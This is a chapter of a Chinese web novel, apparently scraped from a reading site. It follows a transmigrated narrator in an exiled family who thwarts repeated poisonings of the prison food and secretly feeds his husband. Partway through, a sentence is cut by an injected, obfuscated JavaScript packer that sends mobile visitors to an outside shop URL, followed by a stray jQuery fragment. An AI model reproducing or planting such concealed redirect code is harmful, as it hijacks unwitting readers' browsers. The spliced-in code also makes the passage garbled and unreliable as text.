尚平栎一个鲤鱼打挺站了起来,刚要查看周围情况,仝行就一下子搂住他的脖子,腿圈住了他的腰,不开玩笑,尚平栎觉得自己的腿都被压得缩了两厘米,脖子都要被拽断了。
这傻小子到底知不知道他俩不是一个体型的,这么挂他身上,俩人都很危险啊!
伴随着尚平栎的“你松开我!”牢房里传出好几声“怎么了?”
这牢房窗户本就小,现在蜡烛也灭了,屋里一片漆黑,根本看不到发生了什么,尚平栎也挺佩服仝行的,这么黑都能精准地找到他,还能直接挂他身上了。
一大只仝行,紧紧地搂住小小只尚平栎,窝在他怀里,惊慌失措地又喊:“有老鼠!”
......
......
......
所有人都无语了,除了尚平栎,“你再勒我,屋里还会有尸体。”
仝行这会儿似乎已经意识到自己的体格有多大了,他下松开手小心翼翼地站在地上,只是两只手又攥上了尚平栎的手,“娘子,我刚刚听到有老鼠在我耳边叫,它们会不会吃人啊?”
它们吃不吃尚平栎不想解释,但他真的想咬死仝行了。
刚刚那一嗓子,把外面守着的官差都叫醒了,官差提着灯进来,睡眼惺忪地问:“又叫什么?”
“官差大哥,我们真的怕老鼠,能不能把对面空的那张床抬过来让我们睡。”尚平栎率先开口。
前半夜一直在折腾,这些官差本来就烦,刚睡了一个多时辰屋里又叫了起来,他们现在也不想跟这些犯人多说,其中一个官差拿出钥匙,打开对面的牢房,挥挥手,示意他们搬。
尚平栎和仝行合力把那床搬了回来,和原本屋里的床并在一起,床不大,不过完全够他们四个睡了。
两个小孩被安排睡在了床里面,尚平栎睡中间,仝行睡在了外面,两个小孩努力贴墙睡,仝行在醒着的时候也努力靠床边睡,他睡觉的空间还算宽裕可不到十分钟,仝行就又开始用脑袋拱他的胸口。
尚平栎被蹭得心烦意乱,他是正儿八经的同性恋,这小子长个帅脸,每天做这样的动作,他真的很难把持住啊喂!
他往里一点仝行就往他身上靠,天都亮了尚平栎才迷迷糊糊地睡着,还好今天他们还不启程,早饭他都没吃继续睡觉,仝家人很安静地收拾着为数不多的行李,大人小孩都坐一起缝制后面过冬需要用的东西。
除了仝行,仝行一直坐在床边看睡觉的尚平栎,还时不时去探探他的鼻息,看他是不是还活着。
睡到该吃午饭,尚平栎被系统吵醒了,【宿主宿主,又有人下毒。】
本来被吵醒的尚平栎还很不耐心,听到下毒,脑子登时就清醒了,“还是泻药吗?”
【对,这次每个人碗里都有。】
他都想知道到底是谁!这么想让这一家人受罪,也不来个挺快的,就搞小动作,有本事还派人过来杀他们啊!下致死的毒药啊!
【宿主你冷静点,真下狠手,你应付不来的。】
那倒也是。
尚平栎睁开眼,就看到了一张高清放大的脸在他眼前——仝行。
仝行看他睁开眼,也完全没有起开的意思,反而问他:“娘子,你刚刚做的什么梦啊?气得哼哼唧唧的。”
他完全不记得做过什么梦了,“你让开点,”他边挪开仝行的脸边说:“我不记得做过什么梦了。”
仝行也跟着他的手,起开了身,“好吧,你有什么不舒服的跟我说,我跟娘说。”
“哦。”尚平栎有些人心不在焉,他现在满脑子都在想,该怎么解决泻药的事情。
听到两人的对话,翟母知道尚平栎醒了,“平栎,刚好一会儿要吃午饭了,快起来收拾收拾吧。”
“好。”他坐起来,心中还在思索怎么弄,就听到官差开门的声音。
“起来吃饭了。”官差拎着一桶粥进来,挨个给每人都盛了粥便出去了。
这粥是真不能吃,尚平栎首先端起粥,作势闻了闻,“都别喝。”他说话时仝行已经喝了一口。
“这粥里还有泻药。”他把话说完,其余人的都满眼复杂地看着那碗比早上稠了许多的粥。
这位是真的想要杀他们,昨晚是只给仝行一人,这次更是给所有人喝。
明日就要启程,他们若是虚脱了,很可能死了路上,前面两次来硬的没成,如今又来阴的。
“这粥不能喝。”她看着牢房里的面色不复从前的儿媳、孙女,心中苦楚,想他们仝家忠与皇上,守护疆土,从未做过与人交恶、欺压百姓的事,如今怎么就沦落到有人想要至他们于死地的地步。
牢房里原本还算温馨的氛围,在听到粥里又被人下了了泻药后,变得沉寂异常,仝行像是没有感觉到这沉重的氛围一样,说:“娘,我喝了一口。”
翟文韫没有心思回答他,看他还想说话,尚平栎一把握住他的手,冲他摇摇头。
屋里又恢复了寂静,好一会,尚平栎说:“娘,这粥肯定不能喝了,我们还要处理掉,不然一会官差进来要收碗了。”
“平栎,你有办法吗?”翟文韫的脑子完全沉浸在悲伤中,无法思考该如何应对这事。
一碗、两碗还行,这可是八碗粥,倒这空旷的牢房里面肯定是不行了,“要不先倒衣服上,等会咱们再去把衣服洗洗了?”这是他目前能想到可操作的唯一方法。
“行。”翟文韫说着就拿出了几件衣服,让人把粥倒进去,尚平栎牢房里也有几人的衣服,他拿出仝行的衣服,把四人的粥分散地倒在仝行的衣服上。
看他只往自己衣服上倒,仝行有些不开心,问:“你怎么不往你衣服上倒?”
“我没你衣服多。”他说得是事实,当初他俩还在拜堂就被抄家了,他现在穿的衣服都是仝行的,改小的就两身,还有一身正晾着。
这点仝行无法反驳,说:“好吧。”
所有粥都处理掉了,尚平栎喊人:“官差大哥,我想去茅房。”
官差早就在外面等着他们喊人了,尚平栎这么一喊官差就进来了,“谁要去茅房?”官差眼神掠过仝行,看向尚平栎。
尚平栎说:“我,我要去。”
官差还没打开牢房的门,旁边的仝行也说要去厕所,接着仝家所有人都开始说要上厕所。
男厕和女厕离的挺远,几人被带到两个方向,他们一直在牢房厕所两边跑,直到晚上吃晚饭。
晚上的粥还是有问题,一家人已经一整天没有吃东西了,尚平栎看着几个小孩,心中不忍,早知道以前发的饼他就不扔了。
晚上他们依旧不停地跑到厕所,晚上他们没有跑多久,明日确定要启程,能在室内休息的时间不多,他们要好好养养。
所有人都睡着时,尚平栎戳了戳旁边的仝行,“我要去厕所,你一会陪我。”
昨晚他就没睡好,今天又折腾了一天,他这会真的不想再出去了,嘴里拒绝的话在看到尚平栎的眼神,一转弯成了:“行,我叫人。”说着便叫官差。
两人到了厕所,尚平栎拿出一个银镯子递给他,“这是我出嫁的时候从家里顺的,明日你给你娘,让她再买些东西。”
翟文韫买东西时虽有官差跟着,那官差并不知道置办东西花了多少钱,这镯子能剪开换些东西,买东西她肯定会给没吃饭的一家人买食物。
“你自己不留着,圣人书说无功不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614162|206033||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
受禄,且哪有夫家拿新娘子嫁妆的道理。”仝行说得义正言辞。
听他说起话来还挺像那么回事,尚平栎有些好笑,“你还想饿肚子?”
这一句话就说服了仝行,仝行把镯子揣到怀里,后尚平栎又拿出一个三明治递给他,“你吃吧。”
饿了两顿,还要洗自己的衣服,还这么大个,仝行早就饿了,接过三明治就吃了起来,吃了一半才想起尚平栎,“你不吃吗?”说着掰了一半给他。
尚平栎没接,这厕所虽然没啥味,但他在这里也实在吃不下东西,“我不吃,你吃吧。”
仝行中午饭吃了一口,还拉肚子了,晚饭也没吃成,饿得浑身没劲,既然尚平栎说不吃,他也不跟尚平栎客气,三下五除二地吃完。
看他吃得那么快,尚平栎又给他兑换了一个饭团,他又很快吃完了,看他还意犹未尽,尚平栎又给他兑换了两个饭团,这两个饭团吃完,终于饱了。
衙役看两人出来,赶紧上前带他们回牢房,趁衙役走在前面,尚平栎拿了颗巧克力掩饰着放在嘴里,他觉得自己做得很隐蔽了,可还是仝行捕捉到了他的动作,他也读懂了仝行眼中的意思:“吃的什么好吃的?我也想吃。”
无奈,他只能往仝行手里塞一个,仝行看他的手往自己这边动时,手也应了上去,大概是两人幅度有些大,官差扭头看他们,他们看官差看了过来,手紧紧握在了一起。
官差低骂了一声:“有伤风化。”便把头扭过去,再也没有回过头了。
看官差不回头,尚平栎又给仝行塞了几个,仝行在进牢房之前全吃完了。
回到牢房仝家人已经都睡着了,两人也赶紧上床睡觉。
次日一早,跟官差一起送饭的还有押送他们的衙役,“吃完该赶路了。”原本他们只打算在这里待一天,收到上边的指示后便多留了一天,这个一天的路程还要在后面赶回来。
粥没有问题,众人吃了饭便上了路,趁官差、衙役没注意,仝行把那只手镯塞到了翟文韫的手里。
看到漏出的镯子,翟文韫立刻收到袖中,抄家时收过他们的身,除了那八两银子,他们没能带任何东西,这镯子只能是尚平栎的。
尚平栎看到仝行挪到翟文韫旁边时,注意力就到了他们那边,如今接到翟文韫的视线,他也回看了回去。
是他们家连累了尚平栎,若是以后有机会,定要补偿回来。
到了街上翟文韫找了个大点的铺子,给尚平栎买了一件御寒的衣服,趁着把镯子换成了现钱,又买了些吃食,给每个衙役也都分了些,衙役们没收。
除了肉包子,翟文韫还买了不少能存放的饼,留着路上吃,这些饼比衙役发的可好下咽多了。
越往北走天越凉快,眼看着就要翻山,衙役们提醒:“该上山了提高警惕,山上有野兽。”
这山里也不能随意打伤那些野兽,血腥味会引来更多野兽,只能快速通过,祈求没有野兽看到他们。
这山很高,尚平栎估摸着要走三天,他们一帮人,以前娇生惯养的妇人,还有小孩,和一个傻子,加上他这个弱鸡,要是真遇上了野兽,衙役们不保护他们的话,很可能就变成野兽的口粮了。
两个衙役走在前面带路,侧边有四个个官差,后面还有三个,他们把仝家人围在里面,尚平栎走在队伍前面,和仝行一起拉车,他清楚地听到前面两个衙役的对话。
“大哥,太子那边有信吗?”
“太子准备大婚,没时间管他们,让咱们先看着不死就行。”
“太子这是图什么啊?看着那么碍眼还不除之而后快。”
“还不是因为那位。”衙役只说了这些,后面的话没有说出口。